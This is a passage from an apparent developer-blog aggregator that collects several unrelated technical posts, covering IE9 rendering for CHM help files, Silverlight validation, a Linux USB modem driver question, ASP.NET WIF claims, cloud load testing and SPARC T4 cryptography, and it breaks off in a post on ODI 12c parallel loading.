by setting one (or more) registry flags that tell the Windows Shell which version of the Internet Explorer rendering engine to load. An application that wishes to use a more recent version of Internet Explorer can then register itself during installation for the specific IE version desired and from then on the application will use that version of the Web Browser component. If the application is older than the specified version it falls back to the default version (IE 7 rendering). Forcing CHM files to display with IE9 (or later) Rendering Knowing that we can force the IE usage for a given process it's also possible to affect the CHM rendering by setting same keys on the executable that's hosting the CHM file. What that executable file is depends on the type of application as there are a number of ways that can launch the help engine. hh.exeThe standalone Windows CHM Help Viewer that launches when you launch a CHM from Windows Explorer. You can manually add hh.exe to the registry keys. YourApplication.exeIf you're using .NET or any tool that internally uses the hhControl ActiveX control to launch help content your application is your host. You should add your application's exe to the registry during application startup. foxhhelp9.exeIf you're building a FoxPro application that uses the built-in help features, foxhhelp9.exe is used to actually host the help controls. Make sure to add this executable to the registry. What to set You can configure the Internet Explorer version used for an application in the registry by specifying the executable file name and a value that specifies the IE version desired. There are two different sets of keys for 32 bit and 64 bit applications. 32 bit only or 64 bit: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION Value Key: hh.exe 32 bit on 64 bit machine: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION Value Key: hh.exe Note that it's best to always set both values ideally when you install your application so it works regardless of which platform you run on. The value specified is a DWORD value and the interesting values are decimal 9000 for IE9 rendering mode depending on !DOCTYPE settings or 9999 for IE 9 standards mode always. You can use the same logic for 8000 and 8888 for IE8 and the final value of 7000 for IE7 (one has to wonder what they're going todo for version 10 to perpetuate that pattern). I think 9000 is the value you'd most likely want to use. 9000 means that IE9 will be used for rendering but unless the right doctypes are used (XHTML and HTML5 specifically) IE will still fall back into quirks mode as needed. This should allow existing pages to continue to use the fallback engine while new pages that have the proper HTML doctype set can take advantage of the newest features. Here's an example of how I set the registry keys in my Tarma Installmate registry configuration: Note that I set all three values both under the Software and Wow6432Node keys so that this works regardless of where these EXEs are launched from. Even though all apps are 32 bit apps, the 64 bit (the default one shown selected) key is often used. So, now once I've set the registry key for hh.exe I can now launch my CHM help file from Explorer and see the following CSS3 IE9 rendered display: Summary It sucks that we have to go through all these hoops to get what should be natural behavior for an application to support the latest features available on a system. But it shouldn't be a surprise - the Windows Help team (if there even is such a thing) has not been known for forward looking technologies. It's a pretty big hassle that we have to resort to setting registry keys in order to get the Web Browser control and the internal CHM engine to render itself properly but at least it's possible to make it work after all. Using this technique it's possible to ship an application with a help file and allow your CHM help to display with richer CSS markup and correct rendering using the stricter and more consistent XHTML or HTML5 doctypes. If you provide both Web help and in-application help (and why not if you're building from a single source) you now can side step the issue of your customers asking: Why does my help file look so much shittier than the online help… No more!© Rick Strahl, West Wind Technologies, 2005-2012Posted in HTML5  Help  Html Help Builder  Internet Explorer  Windows   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Validation in Silverlight

  - by Timmy Kokke

  Getting started with the basics Validation in Silverlight can get very complex pretty easy. The DataGrid control is the only control that does data validation automatically, but often you want to validate your own entry form. Values a user may enter in this form can be restricted by the customer and have to fit an exact fit to a list of requirements or you just want to prevent problems when saving the data to the database. Showing a message to the user when a value is entered is pretty straight forward as I’ll show you in the following example.     This (default) Silverlight textbox is data-bound to a simple data class. It has to be bound in “Two-way” mode to be sure the source value is updated when the target value changes. The INotifyPropertyChanged interface must be implemented by the data class to get the notification system to work. When the property changes a simple check is performed and when it doesn’t match some criteria an ValidationException is thrown. The ValidatesOnExceptions binding attribute is set to True to tell the textbox it should handle the thrown ValidationException. Let’s have a look at some code now. The xaml should contain something like below. The most important part is inside the binding. In this case the Text property is bound to the “Name” property in TwoWay mode. It is also told to validate on exceptions. This property is false by default.   <StackPanel Orientation="Horizontal"> <TextBox Width="150" x:Name="Name" Text="{Binding Path=Name, Mode=TwoWay, ValidatesOnExceptions=True}"/> <TextBlock Text="Name"/> </StackPanel>   The data class in this first example is a very simplified person class with only one property: string Name. The INotifyPropertyChanged interface is implemented and the PropertyChanged event is fired when the Name property changes. When the property changes a check is performed to see if the new string is null or empty. If this is the case a ValidationException is thrown explaining that the entered value is invalid.   public class PersonData:INotifyPropertyChanged { private string _name; public string Name { get { return _name; } set { if (_name != value) { if(string.IsNullOrEmpty(value)) throw new ValidationException("Name is required"); _name = value; if (PropertyChanged != null) PropertyChanged(this, new PropertyChangedEventArgs("Name")); } } } public event PropertyChangedEventHandler PropertyChanged=delegate { }; } The last thing that has to be done is letting binding an instance of the PersonData class to the DataContext of the control. This is done in the code behind file. public partial class Demo1 : UserControl { public Demo1() { InitializeComponent(); this.DataContext = new PersonData() {Name = "Johnny Walker"}; } }   Error Summary In many cases you would have more than one entry control. A summary of errors would be nice in such case. With a few changes to the xaml an error summary, like below, can be added.           First, add a namespace to the xaml so the control can be used. Add the following line to the header of the .xaml file. xmlns:Controls="clr-namespace:System.Windows.Controls;assembly=System.Windows.Controls.Data.Input"   Next, add the control to the layout. To get the result as in the image showed earlier, add the control right above the StackPanel from the first example. It’s got a small margin to separate it from the textbox a little.   <Controls:ValidationSummary Margin="8"/>   The ValidationSummary control has to be notified that an ValidationException occurred. This can be done with a small change to the xaml too. Add the NotifyOnValidationError to the binding expression. By default this value is set to false, so nothing would be notified. Set the property to true to get it to work.   <TextBox Width="150" x:Name="Name" Text="{Binding Name, Mode=TwoWay, ValidatesOnExceptions=True, NotifyOnValidationError=True}"/>   Data annotation Validating data in the setter is one option, but not my personal favorite. It’s the easiest way if you have a single required value you want to check, but often you want to validate more. Besides, I don’t consider it best practice to write logic in setters. The way used by frameworks like WCF Ria Services is the use of attributes on the properties. Instead of throwing exceptions you have to call the static method ValidateProperty on the Validator class. This call stays always the same for a particular property, not even when you change the attributes on the property. To mark a property “Required” you can use the RequiredAttribute. This is what the Name property is going to look like:   [Required] public string Name { get { return _name; } set { if (_name != value) { Validator.ValidateProperty(value, new ValidationContext(this, null, null){ MemberName = "Name" }); _name = value; if (PropertyChanged != null) PropertyChanged(this, new PropertyChangedEventArgs("Name")); } } }   The ValidateProperty method takes the new value for the property and an instance of ValidationContext. The properties passed to the constructor of the ValidationContextclass are very straight forward. This part is the same every time. The only thing that changes is the MemberName property of the ValidationContext. Property has to hold the name of the property you want to validate. It’s the same value you provide the PropertyChangedEventArgs with. The System.ComponentModel.DataAnnotation contains eight different validation attributes including a base class to create your own. They are: RequiredAttribute Specifies that a value must be provided. RangeAttribute The provide value must fall in the specified range. RegularExpressionAttribute Validates is the value matches the regular expression. StringLengthAttribute Checks if the number of characters in a string falls between a minimum and maximum amount. CustomValidationAttribute Use a custom method to validate the value. DataTypeAttribute Specify a data type using an enum or a custom data type. EnumDataTypeAttribute Makes sure the value is found in a enum. ValidationAttribute A base class for custom validation attributes All of these will ensure that an validation exception is thrown, except the DataTypeAttribute. This attribute is used to provide some additional information about the property. You can use this information in your own code.   [Required] [Range(0,125,ErrorMessage = "Value is not a valid age")] public int Age {   It’s no problem to stack different validation attributes together. For example, when an Age is required and must fall in the range from 0 to 125:   [Required, StringLength(255,MinimumLength = 3)] public string Name {   Or in one row like this, for a required Name with at least 3 characters and a maximum of 255:   Delayed validation Having properties marked as required can be very useful. The only downside to the technique described earlier is that you have to change the value in order to get it validated. What if you start out with empty an empty entry form? All fields are empty and thus won’t be validated. With this small trick you can validate at the moment the user click the submit button.   <TextBox Width="150" x:Name="NameField" Text="{Binding Name, Mode=TwoWay, ValidatesOnExceptions=True, NotifyOnValidationError=True, UpdateSourceTrigger=Explicit}"/>   By default, when a TwoWay bound control looses focus the value is updated. When you added validation like I’ve shown you earlier, the value is validated. To overcome this, you have to tell the binding update explicitly by setting the UpdateSourceTrigger binding property to Explicit:   private void SubmitButtonClick(object sender, RoutedEventArgs e) { NameField.GetBindingExpression(TextBox.TextProperty).UpdateSource(); }   This way, the binding is in two direction but the source is only updated, thus validated, when you tell it to. In the code behind you have to call the UpdateSource method on the binding expression, which you can get from the TextBox.   Conclusion Data validation is something you’ll probably want on almost every entry form. I always thought it was hard to do, but it wasn’t. If you can throw an exception you can do validation. If you want to know anything more in depth about something I talked about in this article let me know. I might write an entire post to that.

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• cdc-acm driver: This device cannot do calls on its own. It is not a modem

  - by Sorcrer

  I am using Beagleboard-xm with 3.12 Kernel and ubuntu rootfs from Robert Nelson's site. I use a Telit HE910 GPS+GSM modem along with my project .So as per the HW user guide i have to apply a logic high for 5s on the input of this modem for enabling it So when I does this by toggling the gpio pin for 5s using a script I'm getting some messages on the terminal I am sure this message comes from the driver in usb/class/cdc-acm.c but couldn't find the reason behind this? How can I solve this issue?? root@arm:~# ./modem_on.sh Turning on Telit modem ...... going to sleep and toggle [ 70.791381] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 74.390258] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 74.406890] cdc_acm 1-2:1.2: This device cannot do calls on its own. It is not a modem. [ 74.462188] cdc_acm 1-2:1.4: This device cannot do calls on its own. It is not a modem. [ 74.478363] cdc_acm 1-2:1.6: This device cannot do calls on its own. It is not a modem. [ 74.495269] cdc_acm 1-2:1.8: This device cannot do calls on its own. It is not a modem. [ 74.510040] cdc_acm 1-2:1.10: This device cannot do calls on its own. It is not a modem. [ 74.530090] cdc_acm 1-2:1.12: This device cannot do calls on its own. It is not a modem. [ 74.619720] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 74.634429] cdc_acm 1-2:1.2: This device cannot do calls on its own. It is not a modem. [ 74.649475] cdc_acm 1-2:1.4: This device cannot do calls on its own. It is not a modem. [ 74.664459] cdc_acm 1-2:1.6: This device cannot do calls on its own. It is not a modem. [ 74.678741] cdc_acm 1-2:1.8: This device cannot do calls on its own. It is not a modem. [ 74.693389] cdc_acm 1-2:1.10: This device cannot do calls on its own. It is not a modem. [ 74.708099] cdc_acm 1-2:1.12: This device cannot do calls on its own. It is not a modem. Script complete .......... The realted necessary portion of dmesg is below [ 30.623107] init: plymouth-upstart-bridge main process ended, respawning [ 70.629943] usb 1-2: new high-speed USB device number 2 using ehci-omap [ 70.782501] usb 1-2: config 1 interface 0 altsetting 0 endpoint 0x81 has an invalid bInterval 255, changing to 11 [ 70.782592] usb 1-2: New USB device found, idVendor=058b, idProduct=0041 [ 70.782623] usb 1-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0 [ 70.791381] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 70.801483] cdc_acm 1-2:1.0: ttyACM0: USB ACM device [ 73.041625] usb 1-2: USB disconnect, device number 2 [ 74.209930] usb 1-2: new high-speed USB device number 3 using ehci-omap [ 74.369049] usb 1-2: New USB device found, idVendor=1bc7, idProduct=0021 [ 74.369110] usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 74.369140] usb 1-2: Product: Telit Wireless Module [ 74.369171] usb 1-2: Manufacturer: Telit wireless solutions [ 74.369201] usb 1-2: SerialNumber: 357164042197668 [ 74.390258] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 74.400207] cdc_acm 1-2:1.0: ttyACM0: USB ACM device [ 74.406890] cdc_acm 1-2:1.2: This device cannot do calls on its own. It is not a modem. [ 74.416900] cdc_acm 1-2:1.2: ttyACM1: USB ACM device [ 74.462188] cdc_acm 1-2:1.4: This device cannot do calls on its own. It is not a modem. [ 74.472259] cdc_acm 1-2:1.4: ttyACM2: USB ACM device [ 74.478363] cdc_acm 1-2:1.6: This device cannot do calls on its own. It is not a modem. [ 74.488372] cdc_acm 1-2:1.6: ttyACM3: USB ACM device [ 74.495269] cdc_acm 1-2:1.8: This device cannot do calls on its own. It is not a modem. [ 74.505279] cdc_acm 1-2:1.8: ttyACM4: USB ACM device [ 74.510040] cdc_acm 1-2:1.10: This device cannot do calls on its own. It is not a modem. [ 74.520141] cdc_acm 1-2:1.10: ttyACM5: USB ACM device [ 74.530090] cdc_acm 1-2:1.12: This device cannot do calls on its own. It is not a modem. [ 74.540283] cdc_acm 1-2:1.12: ttyACM6: USB ACM device [ 74.619720] cdc_acm 1-2:1.0: This device cannot do calls on its own. It is not a modem. [ 74.629455] cdc_acm 1-2:1.0: ttyACM0: USB ACM device [ 74.634429] cdc_acm 1-2:1.2: This device cannot do calls on its own. It is not a modem. [ 74.644042] cdc_acm 1-2:1.2: ttyACM1: USB ACM device [ 74.649475] cdc_acm 1-2:1.4: This device cannot do calls on its own. It is not a modem. [ 74.659027] cdc_acm 1-2:1.4: ttyACM2: USB ACM device [ 74.664459] cdc_acm 1-2:1.6: This device cannot do calls on its own. It is not a modem. [ 74.674133] cdc_acm 1-2:1.6: ttyACM3: USB ACM device [ 74.678741] cdc_acm 1-2:1.8: This device cannot do calls on its own. It is not a modem. [ 74.688415] cdc_acm 1-2:1.8: ttyACM4: USB ACM device [ 74.693389] cdc_acm 1-2:1.10: This device cannot do calls on its own. It is not a modem. [ 74.703186] cdc_acm 1-2:1.10: ttyACM5: USB ACM device [ 74.708099] cdc_acm 1-2:1.12: This device cannot do calls on its own. It is not a modem. [ 74.717895] cdc_acm 1-2:1.12: ttyACM6: USB ACM device `

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• ASP.NET and WIF: Showing custom profile username as User.Identity.Name

  - by DigiMortal

  I am building ASP.NET MVC application that uses external services to authenticate users. For ASP.NET users are fully authenticated when they are redirected back from external service. In system they are logically authenticated when they have created user profiles. In this posting I will show you how to force ASP.NET MVC controller actions to demand existence of custom user profiles. Using external authentication sources with AppFabric Suppose you want to be user-friendly and you don’t force users to keep in mind another username/password when they visit your site. You can accept logins from different popular sites like Windows Live, Facebook, Yahoo, Google and many more. If user has account in some of these services then he or she can use his or her account to log in to your site. If you have community site then you usually have support for user profiles too. Some of these providers give you some information about users and other don’t. So only thing in common you get from all those providers is some unique ID that identifies user in service uniquely. Image above shows you how new user joins your site. Existing users who already have profile are directed to users homepage after they are authenticated. You can read more about how to solve semi-authorized users problem from my blog posting ASP.NET MVC: Using ProfileRequiredAttribute to restrict access to pages. The other problem is related to usernames that we don’t get from all identity providers. Why is IIdentity.Name sometimes empty? The problem is described more specifically in my blog posting Identifying AppFabric Access Control Service users uniquely. Shortly the problem is that not all providers have claim called http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name. The following diagram illustrates what happens when user got token from AppFabric ACS and was redirected to your site. Now, when user was authenticated using Windows Live ID then we don’t have name claim in token and that’s why User.Identity.Name is empty. Okay, we can force nameidentifier to be used as name (we can do it in web.config file) but we have user profiles and we want username from profile to be shown when username is asked. Modifying name claim Now let’s force IClaimsIdentity to use username from our user profiles. You can read more about my profiles topic from my blog posting ASP.NET MVC: Using ProfileRequiredAttribute to restrict access to pages and you can find some useful extension methods for claims identity from my blog posting Identifying AppFabric Access Control Service users uniquely. Here is what we do to set User.Identity.Name: we will check if user has profile, if user has profile we will check if User.Identity.Name matches the name given by profile, if names does not match then probably identity provider returned some name for user, we will remove name claim and recreate it with correct username, we will add new name claim to claims collection. All this stuff happens in Application_AuthorizeRequest event of our web application. The code is here. protected void Application_AuthorizeRequest() {     if (string.IsNullOrEmpty(User.Identity.Name))     {         var identity = User.Identity;         var profile = identity.GetProfile();         if (profile != null)         {             if (profile.UserName != identity.Name)             {                 identity.RemoveName();                   var claim = new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", profile.UserName);                 var claimsIdentity = (IClaimsIdentity)identity;                 claimsIdentity.Claims.Add(claim);             }         }     } } RemoveName extension method is simple – it looks for name claims of IClaimsIdentity claims collection and removes them. public static void RemoveName(this IIdentity identity) {     if (identity == null)         return;       var claimsIndentity = identity as ClaimsIdentity;     if (claimsIndentity == null)         return;       for (var i = claimsIndentity.Claims.Count - 1; i >= 0; i--)     {         var claim = claimsIndentity.Claims[i];         if (claim.ClaimType == "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name")             claimsIndentity.Claims.RemoveAt(i);     } } And we are done. Now User.Identity.Name returns the username from user profile and you can use it to show username of current user everywhere in your site. Conclusion Mixing AppFabric Access Control Service and Windows Identity Foundation with custom authorization logic is not impossible but a little bit tricky. This posting finishes my little series about AppFabric ACS and WIF for this time and hopefully you found some useful tricks, tips, hacks and code pieces you can use in your own applications.

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• Cloud Based Load Testing Using TF Service &amp; VS 2013

  - by Tarun Arora [Microsoft MVP]

  Originally posted on: http://geekswithblogs.net/TarunArora/archive/2013/06/30/cloud-based-load-testing-using-tf-service-amp-vs-2013.aspx One of the new features announced as part of the Visual Studio 2013 Ultimate Preview is ‘Cloud Based Load Testing’. In this blog post I’ll walk you through, What is Cloud Based Load Testing? How have I been using this feature? – Success story! Where can you find more resources on this feature? What is Cloud Based Load Testing? It goes without saying that performance testing your application not only gives you the confidence that the application will work under heavy levels of stress but also gives you the ability to test how scalable the architecture of your application is. It is important to know how much is too much for your application! Working with various clients in the industry I have realized that the biggest barriers in Load Testing & Performance Testing adoption are, High infrastructure and administration cost that comes with this phase of testing Time taken to procure & set up the test infrastructure Finding use for this infrastructure investment after completion of testing Is cloud the answer? 100% Visual Studio Compatible Scalable and Realistic Start testing in < 2 minutes Intuitive Pay only for what you need Use existing on premise tests on cloud There are a lot of vendors out there offering Cloud Based Load Testing, to name a few, Load Storm Soasta Blaze Meter Blitz And others… The question you may want to ask is, why should you go with Microsoft’s Cloud based Load Test offering. If you are a Microsoft shop or already have investments in Microsoft technologies, you’ll see great benefit in the natural integration this offers with existing Microsoft products such as Visual Studio and Windows Azure. For example, your existing Web tests authored in Visual Studio 2010 or Visual Studio 2012 will run on the cloud without requiring any modifications what so ever. Microsoft’s cloud test rig also supports API based testing, for example, if you are building a WPF application which consumes WCF services, you can write unit tests to invoke the WCF service, these tests can be run on the cloud test rig and loaded with ‘N’ concurrent users for performance testing. If you have your assets already hosted in the Azure and possibly in the same data centre as the Cloud test rig, your Azure app will not incur a usage cost because of the generated traffic since the traffic is coming from the same data centre. The licensing or pricing information on Microsoft’s cloud based Load test service is yet to be announced, but I would expect this to be priced attractively to match the market competition.   The only additional configuration required for running load tests on Microsoft Cloud based Load Tests service is to select the Test run location as Run tests using Visual Studio Team Foundation Service, How have I been using Microsoft’s Cloud based Load Test Service? I have been part of the Microsoft Cloud Based Load Test Service advisory council for the last 7 months. This gave the opportunity to see the product shape up from concept to working solution. I was also the first person outside of Microsoft to try this offering out. This gave me the opportunity to test real world application at various clients using the Microsoft Load Test Service and provide real world feedback to the Microsoft product team. One of the most recent systems I tested using the Load Test Service has been an insurance quote generation engine. This insurance quote generation engine is,   hosted in Windows Azure expected to get quote requests from across the globe expected to handle 5 Million quote requests in a day (not clear how this load will be distributed across the day) There was no way, I could simulate such kind of load from on premise without standing up additional hardware. But Microsoft’s Cloud based Load Test service allowed me to test my key performance testing scenarios, i.e. Simulate expected Load, Endurance Testing, Threshold Testing and Testing for Latency. Simulating expected load: approach to devising a load pattern My approach to devising a load test pattern has been to run the test scenario with 1 user to figure out the response time. Then work out how many users are required to reach the target load. So, for example, to invoke 1 quote from the quote engine software takes 0.5 seconds. Now if you do the math,   1 quote request by 1 user = 0.5 seconds   quotes generated by 1 user in 24 hour = 1 * (((2 * 60) * 60) * 24) = 172,800   quotes generated by 30 users in 24 hours = 172,800 * 30 =  5,184,000 This was a very simple example, if your application requires more concurrent users to test scenario’s such as caching, etc then you can devise your own load pattern, some examples of load test patterns can be found here.  Endurance Testing To test for endurance, I loaded the quote generation engine with an expected fixed user load and ran the test for very long duration such as over 48 hours and observed the affect of the long running test on the Azure infrastructure. Currently Microsoft Load Test service does not support metrics from the machine under test. I used Azure diagnostics to begin with, but later started using Cerebrata Azure Diagnostics Manager to capture the metrics of the machine under test. Threshold Testing To figure out how much user load the application could cope with before falling on its belly, I opted to step load the quote generation engine by incrementing user load with different variations of incremental user load per minute till the application crashed out and forced an IIS reset. Testing for Latency Currently the Microsoft Load Test service does not support generating geographically distributed load, I however, deployed the insurance quote generation engine in different Azure data centres and ran the same set of performance tests to measure for latency. Because I could compare load test results from different runs by exporting the results to excel (this feature is provided out of the box right from Visual Studio 2010) I could see the different in response times. More resources on Microsoft Cloud based Load Test Service A few important links to get you started, Download Visual Studio Ultimate 2013 Preview Getting started guide for load testing using Team Foundation Service Troubleshooting guide for FAQs and known issues Team Foundation Service forum for questions and support Detailed demo and presentation (link to Tech-Ed session recording) Detailed demo and presentation (link to Build session recording) There a few limits on the usage of Microsoft Cloud based Load Test service that you can read about here. If you have any feedback on Microsoft Cloud based Load Test service, feel free to share it with the product team via the Visual Studio User Voice forum. I hope you found this useful. Thank you for taking the time out and reading this blog post. If you enjoyed the post, remember to subscribe to http://feeds.feedburner.com/TarunArora. Stay tuned!

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• Interesting articles and blogs on SPARC T4

  - by mv

  Interesting articles and blogs on SPARC T4 processor   I have consolidated all the interesting information I could get on SPARC T4 processor and its hardware cryptographic capabilities.  Hope its useful. 1. Advantages of SPARC T4 processor  Most important points in this T4 announcement are : "The SPARC T4 processor was designed from the ground up for high speed security and has a cryptographic stream processing unit (SPU) integrated directly into each processor core. These accelerators support 16 industry standard security ciphers and enable high speed encryption at rates 3 to 5 times that of competing processors. By integrating encryption capabilities directly inside the instruction pipeline, the SPARC T4 processor eliminates the performance and cost barriers typically associated with secure computing and makes it possible to deliver high security levels without impacting the user experience." Data Sheet has more details on these  : "New on-chip Encryption Instruction Accelerators with direct non-privileged support for 16 industry-standard cryptographic algorithms plus random number generation in each of the eight cores: AES, Camellia, CRC32c, DES, 3DES, DH, DSA, ECC, Kasumi, MD5, RSA, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512" I ran "isainfo -v" command on Solaris 11 Sparc T4-1 system. It shows the new instructions as expected  : $ isainfo -v 64-bit sparcv9 applications crc32c cbcond pause mont mpmul sha512 sha256 sha1 md5 camellia kasumi des aes ima hpc vis3 fmaf asi_blk_init vis2 vis popc 32-bit sparc applications crc32c cbcond pause mont mpmul sha512 sha256 sha1 md5 camellia kasumi des aes ima hpc vis3 fmaf asi_blk_init vis2 vis popc v8plus div32 mul32  2.  Dan Anderson's Blog have some interesting points about how these can be used : "New T4 crypto instructions include: aes_kexpand0, aes_kexpand1, aes_kexpand2,         aes_eround01, aes_eround23, aes_eround01_l, aes_eround_23_l, aes_dround01, aes_dround23, aes_dround01_l, aes_dround_23_l.       Having SPARC T4 hardware crypto instructions is all well and good, but how do we access it ?      The software is available with Solaris 11 and is used automatically if you are running Solaris a SPARC T4.  It is used internally in the kernel through kernel crypto modules.  It is available in user space through the PKCS#11 library." 3.   Dans' Blog on Where's the Crypto Libraries? Although this was written in 2009 but still is very useful  "Here's a brief tour of the major crypto libraries shown in the digraph:   The libpkcs11 library contains the PKCS#11 API (C_\*() functions, such as C_Initialize()). That in turn calls library pkcs11_softtoken or pkcs11_kernel, for userland or kernel crypto providers. The latter is used mostly for hardware-assisted cryptography (such as n2cp for Niagara2 SPARC processors), as that is performed more efficiently in kernel space with the "kCF" module (Kernel Crypto Framework). Additionally, for Solaris 10, strong crypto algorithms were split off in separate libraries, pkcs11_softtoken_extra libcryptoutil contains low-level utility functions to help implement cryptography. libsoftcrypto (OpenSolaris and Solaris Nevada only) implements several symmetric-key crypto algorithms in software, such as AES, RC4, and DES3, and the bignum library (used for RSA). libmd implements MD5, SHA, and SHA2 message digest algorithms" 4. Difference in T3 and T4 Diagram in this blog is good and self explanatory. Jeff's blog also highlights the differences  "The T4 servers have improved crypto acceleration, described at https://blogs.oracle.com/DanX/entry/sparc_t4_openssl_engine. It is "just built in" so administrators no longer have to assign crypto accelerator units to domains - it "just happens". Every physical or virtual CPU on a SPARC-T4 has full access to hardware based crypto acceleration at all times. .... For completeness sake, it's worth noting that the T4 adds more crypto algorithms, and accelerates Camelia, CRC32c, and more SHA-x." 5. About performance counters In this blog, performance counters are explained : "Note that unlike T3 and before, T4 crypto doesn't require kernel modules like ncp or n2cp, there is no visibility of crypto hardware with kstats or cryptoadm. T4 does provide hardware counters for crypto operations.  You can see these using cpustat: cpustat -c pic0=Instr_FGU_crypto 5 You can check the general crypto support of the hardware and OS with the command "isainfo -v". Since T4 crypto's implementation now allows direct userland access, there are no "crypto units" visible to cryptoadm.  " For more details refer Martin's blog as well. 6. How to turn off  SPARC T4 or Intel AES-NI crypto acceleration  I found this interesting blog from Darren about how to turn off  SPARC T4 or Intel AES-NI crypto acceleration. "One of the new Solaris 11 features of the linker/loader is the ability to have a single ELF object that has multiple different implementations of the same functions that are selected at runtime based on the capabilities of the machine.   The alternate to this is having the application coded to call getisax(2) system call and make the choice itself.  We use this functionality of the linker/loader when we build the userland libraries for the Solaris Cryptographic Framework (specifically libmd.so and libsoftcrypto.so) The Solaris linker/loader allows control of a lot of its functionality via environment variables, we can use that to control the version of the cryptographic functions we run.  To do this we simply export the LD_HWCAP environment variable with values that tell ld.so.1 to not select the HWCAP section matching certain features even if isainfo says they are present.  This will work for consumers of the Solaris Cryptographic Framework that use the Solaris PKCS#11 libraries or use libmd.so interfaces directly.  For SPARC T4 : export LD_HWCAP="-aes -des -md5 -sha256 -sha512 -mont -mpul" .. For Intel systems with AES-NI support: export LD_HWCAP="-aes"" Note that LD_HWCAP is explained in  http://docs.oracle.com/cd/E23823_01/html/816-5165/ld.so.1-1.html "LD_HWCAP, LD_HWCAP_32, and LD_HWCAP_64 -  Identifies an alternative hardware capabilities value... A “-” prefix results in the capabilities that follow being removed from the alternative capabilities." 7. Whitepaper on SPARC T4 Servers—Optimized for End-to-End Data Center Computing This Whitepaper on SPARC T4 Servers—Optimized for End-to-End Data Center Computing explains more details.  It has DTrace scripts which may come in handy : "To ensure the hardware-assisted cryptographic acceleration is configured to use and working with the security scenarios, it is recommended to use the following Solaris DTrace script. #!/usr/sbin/dtrace -s pid$1:libsoftcrypto:yf*:entry, pid$target:libsoftcrypto:rsa*:entry, pid$1:libmd:yf*:entry { @[probefunc] = count(); } tick-1sec { printa(@ops); trunc(@ops); }" Note that I have slightly modified the D Script to have RSA "libsoftcrypto:rsa*:entry" as well as per recommendations from Chi-Chang Lin. 8. References http://www.oracle.com/us/corporate/features/sparc-t4-announcement-494846.html http://www.oracle.com/us/products/servers-storage/servers/sparc-enterprise/t-series/sparc-t4-1-ds-487858.pdf https://blogs.oracle.com/DanX/entry/sparc_t4_openssl_engine https://blogs.oracle.com/DanX/entry/where_s_the_crypto_libraries https://blogs.oracle.com/darren/entry/howto_turn_off_sparc_t4 http://docs.oracle.com/cd/E23823_01/html/816-5165/ld.so.1-1.html   https://blogs.oracle.com/hardware/entry/unleash_the_power_of_cryptography https://blogs.oracle.com/cmt/entry/t4_crypto_cheat_sheet https://blogs.oracle.com/martinm/entry/t4_performance_counters_explained  https://blogs.oracle.com/jsavit/entry/no_mau_required_on_a http://www.oracle.com/us/products/servers-storage/servers/sparc-enterprise/t-series/sparc-t4-business-wp-524472.pdf

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• ODI 12c - Parallel Table Load

  - by David Allan

  In this post we will look at the ODI 12c capability of parallel table load from the aspect of the mapping developer and the knowledge module developer - two quite different viewpoints. This is about parallel table loading which isn't to be confused with loading multiple targets per se. It supports the ability for ODI mappings to be executed concurrently especially if there is an overlap of the datastores that they access, so any temporary resources created may be uniquely constructed by ODI. Temporary objects can be anything basically - common examples are staging tables, indexes, views, directories - anything in the ETL to help the data integration flow do its job. In ODI 11g users found a few workarounds (such as changing the technology prefixes - see here) to build unique temporary names but it was more of a challenge in error cases. ODI 12c mappings by default operate exactly as they did in ODI 11g with respect to these temporary names (this is also true for upgraded interfaces and scenarios) but can be configured to support the uniqueness capabilities. We will look at this feature from two aspects; that of a mapping developer and that of a developer (of procedures or KMs). 1. Firstly as a Mapping Developer..... 1.1 Control when uniqueness is enabled A new property is available to set unique name generation on/off. When unique names have been enabled for a mapping, all temporary names used by the collection and integration objects will be generated using unique names. This property is presented as a check-box in the Property Inspector for a deployment specification. 1.2 Handle cleanup after successful execution Provided that all temporary objects that are created have a corresponding drop statement then all of the temporary objects should be removed during a successful execution. This should be the case with the KMs developed by Oracle. 1.3 Handle cleanup after unsuccessful execution If an execution failed in ODI 11g then temporary tables would have been left around and cleaned up in the subsequent run. In ODI 12c, KM tasks can now have a cleanup-type task which is executed even after a failure in the main tasks. These cleanup tasks will be executed even on failure if the property 'Remove Temporary Objects on Error' is set. If the agent was to crash and not be able to execute this task, then there is an ODI tool (OdiRemoveTemporaryObjects here) you can invoke to cleanup the tables - it supports date ranges and the like. That's all there is to it from the aspect of the mapping developer it's much, much simpler and straightforward. You can now execute the same mapping concurrently or execute many mappings using the same resource concurrently without worrying about conflict.  2. Secondly as a Procedure or KM Developer..... In the ODI Operator the executed code shows the actual name that is generated - you can also see the runtime code prior to execution (introduced in 11.1.1.7), for example below in the code type I selected 'Pre-executed Code' this lets you see the code about to be processed and you can also see the executed code (which is the default view). References to the collection (C$) and integration (I$) names will be automatically made unique by using the odiRef APIs - these objects will have unique names whenever concurrency has been enabled for a particular mapping deployment specification. It's also possible to use name uniqueness functions in procedures and your own KMs. 2.1 New uniqueness tags  You can also make your own temporary objects have unique names by explicitly including either %UNIQUE_STEP_TAG or %UNIQUE_SESSION_TAG in the name passed to calls to the odiRef APIs. Such names would always include the unique tag regardless of the concurrency setting. To illustrate, let's look at the getObjectName() method. At <% expansion time, this API will append %UNIQUE_STEP_TAG to the object name for collection and integration tables. The name parameter passed to this API may contain  %UNIQUE_STEP_TAG or 